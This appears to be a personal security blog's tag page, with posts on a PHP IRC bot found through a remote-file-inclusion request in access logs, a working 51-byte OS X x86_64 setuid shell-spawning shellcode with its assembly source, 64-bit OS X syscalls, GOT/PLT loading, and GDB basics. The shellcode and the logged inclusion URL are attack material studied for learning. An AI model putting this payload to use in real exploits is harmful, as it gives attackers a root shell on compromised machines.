Posts tagged programming

Found a PHP IRC Bot in the Wild

Strange Requests

I was grepping through my access logs the other day and noticed several requests like the following

/include/mail.inc.php?skin_board_path=http://website/j1.txt

Strange Text File

I decided to take a look at what j1.txt was and discovered that it was a (nicely commented) PHP script that would join an IRC channel and accept commands. The script looks like it was originally coded in English and was later modified by some Indonesians.

I’m not sure exactly what vulnerability is being exploited here but it’s likely a local file inclusion type vulnerability where j1.txt (the PHP code) would end up on the server and could be executed by visiting a certain URL or embedded in the current page at the current URL.

(more…)

Testing Your Unix-Based Shellcode on a Non-Executable Stack or Heap

I’ve been meaning to post about this technique I figured out while developing the OSX x86_64 setuid/shell shellcode [1] [2] I posted about last week but school and work have been pretty busy. It’s a simple technique that allows you to still test your shellcode on Unix-based OSes with non-executable stacks and heaps and can come in pretty handy for making sure your shellcode is right.

(more…)

51 Byte x86_64 OS X Null Free Shellcode

It doesn’t seem like there’s a lot of x86_64 bit shellcode out there for the Intel Mac platforms so I figured I’d write my own and share it. I’m using Mac OS X 10.6.5 at the time of this post.

Shellcode

Instead of starting with the source and ending with the shellcode, we’re going to throw this one in reverse and get right to the shellcode. So here you have it, a 51 byte Mac OS X 64 bit setuid/shell-spawning shellcode

/*
 * Name: setuid_shell_x86_64
 * Qualities: Null-Free
 * Platforms: Mac OS X / Intel x86_64
 *
 *  Created on: Nov 25, 2010
 *      Author: Dustin Schultz - TheXploit.com
 */
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";

Source

And now for the source in NASM/YASM syntax. If you’ve never done system calls on 64bit OS X and you’re confused, be sure to read my post on64 bit system calls in os x.

; File: setuid_shell_x86_64.asm
; Author: Dustin Schultz - TheXploit.com
BITS 64

section .text
global start

start:
a:
 mov r8b, 0x02          ; Unix class system calls = 2 
 shl r8, 24             ; shift left 24 to the upper order bits
 or r8, 0x17            ; setuid = 23, or with class = 0x2000017
 xor edi, edi           ; zero out edi 
 mov rax, r8            ; syscall number in rax 
 syscall                ; invoke kernel
 jmp short c            ; jump to c
b:
 pop rdi                ; pop ret addr which = addr of /bin/sh
 add r8, 0x24           ; execve = 59, 0x24+r8=0x200003b
 mov rax, r8            ; syscall number in rax 
 xor rdx, rdx           ; zero out rdx 
 push rdx               ; null terminate rdi, pushed backwards
 push rdi               ; push rdi = pointer to /bin/sh
 mov rsi, rsp           ; pointer to null terminated /bin/sh string
 syscall                ; invoke the kernel
c:
 call b                 ; call b, push ret of /bin/sh
 db '/bin//sh'          ; /bin/sh string

I would never blindly use shellcode without testing it out my self (unless it’s from a trusted source like Metasploit)

nobody@nobody:~/$ nasm -f macho64 setuid_shell_x86_64.asm 
nobody@nobody:~/$ ld -arch x86_64 setuid_shell_x86_64.o
nobody@nobody:~/$ ./a.out 
sh-3.2$ 

And the final byte representation (verify against C source above)

nobody@nobody:~/$ otool -t setuid_shell_x86_64.o
setuid_shell_x86_64.o:
(__TEXT,__text) section
0000000000000000 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 
0000000000000010 0f 05 eb 12 5f 49 83 c0 24 4c 89 c0 48 31 d2 52 
0000000000000020 57 48 89 e6 0f 05 e8 e9 ff ff ff 2f 62 69 6e 2f 
0000000000000030 2f 73 68 

And that’s all. Be sure to checkback in the future or subscribe to my RSS feed. I definitely have more shellcode to come!

Mac OS X 64 bit Assembly System Calls

After reading about shellcode in Chapter 5 of Hacking: The Art of Exploitation, I wanted to go back through some of the examples and try them out. The first example was a simple Hello World program in Intel assembly. I followed along in the book and had no problems reproducing results on a 32 bit Linux VM using nasm with elf file format and ld for linking.

Then I decided I wanted to try something similar but with a little bit of a challenge: write a Mac OS X 64 bit “hello world” program using the new fast ‘syscall’ instruction instead of the software interrupt based (int 0×80) system call, this is where things got interesting.

First and foremost, the version of Nasm that comes with Mac OS X is a really old version. If you want to assemble macho64 code, you’ll need to download the lastest version.

nobody@nobody:~$ nasm -v
NASM version 2.09.03 compiled on Oct 27 2010

I figured I could replace the extended registers with the 64 bit registers and the int 0×80 call with a syscall instruction so my first attempt was something like this

section .data
hello_world     db      "Hello World!", 0x0a

section .text
global _start

_start:
mov rax, 4              ; System call write = 4
mov rbx, 1              ; Write to standard out = 1
mov rcx, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 1              ; System call number for exit = 1
mov rbx, 0              ; Exit success = 0
syscall                 ; Invoke the kernel

After assembling and linking, I got this

nobody@nobody:~$ nasm -f macho64 helloworld.s
nobody@nobody:~$ ld helloworld.o 
ld: could not find entry point "start" (perhaps missing crt1.o) for inferred architecture x86_64

Apparently Mac OS X doesn’t use ‘_start’ for linking, instead it just uses ‘start’. After removing the underscore prefix from start, I was able to link but after running, I got this

nobody@nobody:~$ ./a.out
Bus error

I was pretty stumped at this point so I headed off to Google to figure out how I was supposed to use the ‘syscall’ instruction. After a bunch of confusion, I stumbled upon the documentation and realized that x86_64 uses entirely different registers for passing arguments. From the documentation:

The number of the syscall has to be passed in register rax.

rdi - used to pass 1st argument to functions
rsi - used to pass 2nd argument to functions
rdx - used to pass 3rd argument to functions
rcx - used to pass 4th argument to functions
r8 - used to pass 5th argument to functions
r9 - used to pass 6th argument to functions

A system-call is done via the syscall instruction. The kernel destroys registers rcx and r11.

So I tweaked the code with this new information

...
mov rax, 4              ; System call write = 4
mov rdi, 1              ; Write to standard out = 1
mov rsi, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 1              ; System call number for exit = 1
mov rdi, 0              ; Exit success = 0
syscall                 ; Invoke the kernel
...

And with high hopes that I’d see “Hello World!” on the console, I still got the exact same ‘Bus error’ after assembling and linking. Back to Google to see if others had tried a write syscall on Mac OS X. I found a few posts of people having success with the syscall number 0×2000004 so I thought I’d give it a try. Similarly, the exit syscall number was 0×2000001. I tweaked the code and BINGO! I was now able to see “Hello World” output on my console but I was seriously confused at this point; what was this magic number 0×200000 that is being added to the standard syscall numbers?

I looked in syscall.h to see if this was some sort of padding (for security?) I greped all of /usr/include for 0×2000000 with no hints what-so-ever. I looked into the Mach-o file format to see if it was related to that with no luck.

After about an hour and a half of looking, I spotted what I was looking for in ‘syscall_sw.h’

/*
 * Syscall classes for 64-bit system call entry.
 * For 64-bit users, the 32-bit syscall number is partitioned
 * with the high-order bits representing the class and low-order
 * bits being the syscall number within that class.
 * The high-order 32-bits of the 64-bit syscall number are unused.
 * All system classes enter the kernel via the syscall instruction.
 *
 * These are not #ifdef'd for x86-64 because they might be used for
 * 32-bit someday and so the 64-bit comm page in a 32-bit kernel
 * can use them.
 */
#define SYSCALL_CLASS_SHIFT	24
#define SYSCALL_CLASS_MASK	(0xFF << SYSCALL_CLASS_SHIFT)
#define SYSCALL_NUMBER_MASK	(~SYSCALL_CLASS_MASK)

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */	
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */

Mac OS X or likely BSD has split up the system call numbers into several different “classes.” The upper order bits of the syscall number represent the class of the system call, in the case of write and exit, it’s SYSCALL_CLASS_UNIX and hence the upper order bits are 2! Thus, every Unix system call will be (0×2000000 + unix syscall #).

Armed with this information, here’s the final x86_64 Mach-o “Hello World”

section .data
hello_world     db      "Hello World!", 0x0a

section .text
global start

start:
mov rax, 0x2000004      ; System call write = 4
mov rdi, 1              ; Write to standard out = 1
mov rsi, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 0x2000001      ; System call number for exit = 1
mov rdi, 0              ; Exit success = 0
syscall                 ; Invoke the kernel
nobody@nobody:~$ nasm -f macho64 helloworld.s
nobody@nobody:~$ ld helloworld.o 
nobody@nobody:~$ ./a.out
Hello World!

How is glibc loaded at runtime?

I’ve been looking into address-space randomization. ASLR relies on randomizing the based address of things like shared libraries, making return-to-libc attacks more difficult. I understood the basics of ASLR but I still had a lot of questions. How are shared libraries, like libc, loaded at runtime? What is the global offset table? What is the procedure linkage table? What is a position independent executable? In this post, we’re going to look at all of these.

Back in the Day

In “the olden days” libraries used to be hard coded to be loaded at a fixed address in memory space. Runtime linkers had to deal with relocating conflicting hard coded addresses. Windows, to some extent, still does this.

PIC – Position Independent Code

Then came along Position Independent Code which simply means that the code (usually shared libraries) can be loaded at any address in memory-space and relocations are no longer a problem. In order to do that, binaries added sections for the GOT and the PLT.

Global Offset Table

Every ELF executable has a section called the Global Offset Table or the GOT for short. This table is responsible for holding the absolute addressof functions in shared libraries linked dynamically at runtime.

nobody@nobody:~$ objdump -R ./hello_world

./hello_world:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049564 R_386_GLOB_DAT    __gmon_start__
08049574 R_386_JUMP_SLOT   __gmon_start__
08049578 R_386_JUMP_SLOT   __libc_start_main
0804957c R_386_JUMP_SLOT   printf
Procedure Linkage Table

Just like the GOT, every ELF executable also has a section called the Procedure Linkage Table or PLT for short (not to be confused with BLT (Bacon Lettuce Tomato) ). If you’ve read disassembled code, you’ll often see function calls like ‘printf@plt,” that’s a call to the printf in the procedure linking table. The PLT is sort of like the spring board that allows us to resolve the absolute addresses of shared libraries at runtime.

nobody@nobody:~$ objdump -d -j .plt ./hello_world

./hello_world:     file format elf32-i386

Disassembly of section .plt:

08048270 <__gmon_start__@plt-0x10>:
 8048270:       ff 35 6c 95 04 08       pushl  0x804956c
 8048276:       ff 25 70 95 04 08       jmp    *0x8049570
 804827c:       00 00                   add    %al,(%eax)

08048280 <__gmon_start__@plt>:
 8048280:       ff 25 74 95 04 08       jmp    *0x8049574
 8048286:       68 00 00 00 00          push   $0x0
 804828b:       e9 e0 ff ff ff          jmp    8048270 <_init+0x18>

08048290 <__libc_start_main@plt>:
 8048290:       ff 25 78 95 04 08       jmp    *0x8049578
 8048296:       68 08 00 00 00          push   $0x8
 804829b:       e9 d0 ff ff ff          jmp    8048270 <_init+0x18>

080482a0 <printf@plt>:
 80482a0:       ff 25 7c 95 04 08       jmp    *0x804957c
 80482a6:       68 10 00 00 00          push   $0x10
 80482ab:       e9 c0 ff ff ff          jmp    8048270 <_init+0x18>
The GOT, The PLT, and the Linker

How do these all work together to load a shared library at runtime? Well it’s actually pretty cool. Lets walk through the first call to printf. Printf@plt, which is not really printf but a location in the PLT, is called and the first jump is executed.

080482a0 <printf@plt>:
 80482a0:       ff 25 7c 95 04 08       jmp    *0x804957c
 80482a6:       68 10 00 00 00          push   $0x10
 80482ab:       e9 c0 ff ff ff          jmp    8048270 <_init+0x18>

Notice that this jump is a pointer to an address. We’re going to jump to the address pointed to by this address. The 0x804957c is an address in the GOT. The GOT will eventually hold the absolute address call to printf, however, on the very first call the address will point back to the instruction after the jump in the PLT – 0x80482a6. We can see this below by looking at the output of the GOT. Essentially we’ll execute all of the instructions of the printf@plt the very first call.

(gdb) x/8x 0x804957c-20
0x8049568 <_GLOBAL_OFFSET_TABLE_>:      0x0804949c      0xb80016e0      0xb7ff92f0      0x08048286
0x8049578 <_GLOBAL_OFFSET_TABLE_+16>:   0xb7eafde0      0x080482a6      0x00000000      0x00000000

In the PLT code, an offset is pushed onto the stack and another jmp is executed

080482a0 <printf@plt>:
 80482a0:       ff 25 7c 95 04 08       jmp    *0x804957c
 80482a6:       68 10 00 00 00          push   $0x10
 80482ab:       e9 c0 ff ff ff          jmp    8048270 <_init+0x18>

This jump is a jump into the eventual runtime linker code that will load the shared library which contains printf. The offset, $0×10, that was pushed onto the stack tells the linker code the offset of the symbol in the relocation table (see objdump -R ./hello_world output above), printf in this case. The linker will then write the address of printf into the GOT at 0x804957c. We can see this if we look at the GOT after the library has been loaded.

(gdb) x/8x 0x804957c-20
0x8049568 <_GLOBAL_OFFSET_TABLE_>:      0x0804949c      0xb80016e0      0xb7ff92f0      0x08048286
0x8049578 <_GLOBAL_OFFSET_TABLE_+16>:   0xb7eafde0      0xb7edf620      0x00000000      0x00000000

Notice that the previous address, 0x80482a6, has been replaced by the linker with 0xb7edf620. To confirm that this indeed is the address for printf, we can start a disassemble at this address

(gdb) disassemble 0xb7edf620
Dump of assembler code for function printf:
...

Since the library is now loaded and the GOT has been overwritten with the absolute address to printf, subsequent calls to the function printf@plt will jump directly to the address of printf!

All of this also has the added benefit that a shared library is not loaded until a function in it’s library is loaded — in other words, a nice form of “lazy-loading!”

Void Function Pointers in C

Hacking: The Art of Exploitation has a really nice crash course on C. The book has a paragraph or two about function pointers.

Every time I look at function pointers, I find myself referring back to some documentation or getting confused (one too many *’s! or the parenthesis are wrong)

Here is a very simple example to demonstrate void function pointers, hopefully so I can remember in the future!.

#include <stdio.h>

void hello() {
	printf("Hello");
}

void world() {
	printf("World");
}

void space() {
	printf(" ");
}

void newline() {
	printf("n");
}

void print(const void *f) {
	void (*f_ptr)() = f;
	f_ptr();
}

int main(int argc, char **argv) {
	print(hello);
	print(space);
	print(world);
	print(newline);
	return 0;
}

Examining x86_64 Memory with GDB

The Art of Exploitation book has a nice section on using GDB to inspect memory. We start by disassembling the simple Hello World post.
Start by compiling hello_world.c with the ‘-g’ option.
-g Produce debugging information in the operating system's native format (stabs, COFF , XCOFF , or DWARF 2). GDB can work with this debugging information.
By default, when you disassemble code in GDB, it uses the AT&T format for the assembly instructions. The Art of Exploitation book prefers to use the Intel format. I’m not familiar with either but in case you want to follow along with the book, I’ll use the Intel syntax in my examples.
Since the book was written, GDB has changed the way you set the syntax format so you’ll want to modify it. The book says to do
set dis intel
You’ll want to do
set disassembly-flavor intel
You can create a file in your home directory called .gdbinit so you don’t have to specify this every time you start GDB. You can do all of this in one command
nobody@nobody:~$ echo "set disassembly-flavor intel" > ~/.gdbinit
Now lets fire up GDB. The book uses the ‘-q’ option which is optional
-q ``Quiet''.  Do not print the  introductory  and  copyright  messages.  These messages are also suppressed in batch mode.
nobody@nobody:$ gcc -g hello_world.c
nobody@nobody:$ gdb -q ./a.out 
Reading symbols from a.out...done.
(gdb) 
Now that we have GDB up, lets use it to disassemble the x86_64 code. You can type the full version ‘disassemble main’ or the short version ‘disass main’
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000400524 <+0>:	push   rbp
   0x0000000000400525 <+1>:	mov    rbp,rsp
   0x0000000000400528 <+4>:	mov    edi,0x40062c
   0x000000000040052d <+9>:	call   0x400418 <puts@plt>
   0x0000000000400532 <+14>:	mov    eax,0x0
   0x0000000000400537 <+19>:	leave  
   0x0000000000400538 <+20>:	ret    
End of assembler dump.
If you’re following along in the book, you’ll notice that the output is slightly different. The book uses the older x86 architecture, I’m using the x86_64 architecture. That means all of the 32-bit ‘E’ registers now have their equivalent 64-bit ‘R’ registers. For example, ‘esp’ is the 32-bit version of the “Extended Stack Pointer” and ‘rsp’ is the 64-bit version of the “Register Stack Pointer”.
I’ve highlighted the important part of the code, the body of main. Lets use GDB’s examine memory commands to see exactly what’s going on
GDB uses the ‘x’ command to look at the contents of memory. You can tell GDB what format you’d like to see the memory in and unit you’d like to see it in
Formats:
o - octal
d - decimal
x - hexadecimal
u - unsigned integer
s - string
t - binary
Units:
b - byte
h - half
w - word
g - double word
You can also tell GDB how many you’d like to see by prefixing it’s type with a number. Since we know that “Hello World” is a string, we can use the x/s command to view the contents of memory where we think that string is stored.
(gdb) x/s 0x40062c
0x40062c:	 "Hello World!"
We can also look at the equivalent ASCII characters of “Hello World” in memory
(gdb) x/12db 0x40062c
0x40062c:	72	101	108	108	111	32	87	111
0x400634:	114	108	100	33
An interesting thing about GCC is that it automatically optimizes printf() with 1 argument to use puts(). This confused me at first since the code used printf() but the disassembly shows a call to puts()
   0x000000000040052d <+9>:	call   0x400418 <puts@plt>
The puts() function automatically adds a new line, that’s why when we examine memory in GDB, we don’t see the ‘n’ character that we added when we called printf() in the code
More to come; we’re just getting started!

Hello World

For good measure

#include <stdio.h>
 int main()
 {
        printf("hello, world");
        return 0;
 }
Go to Top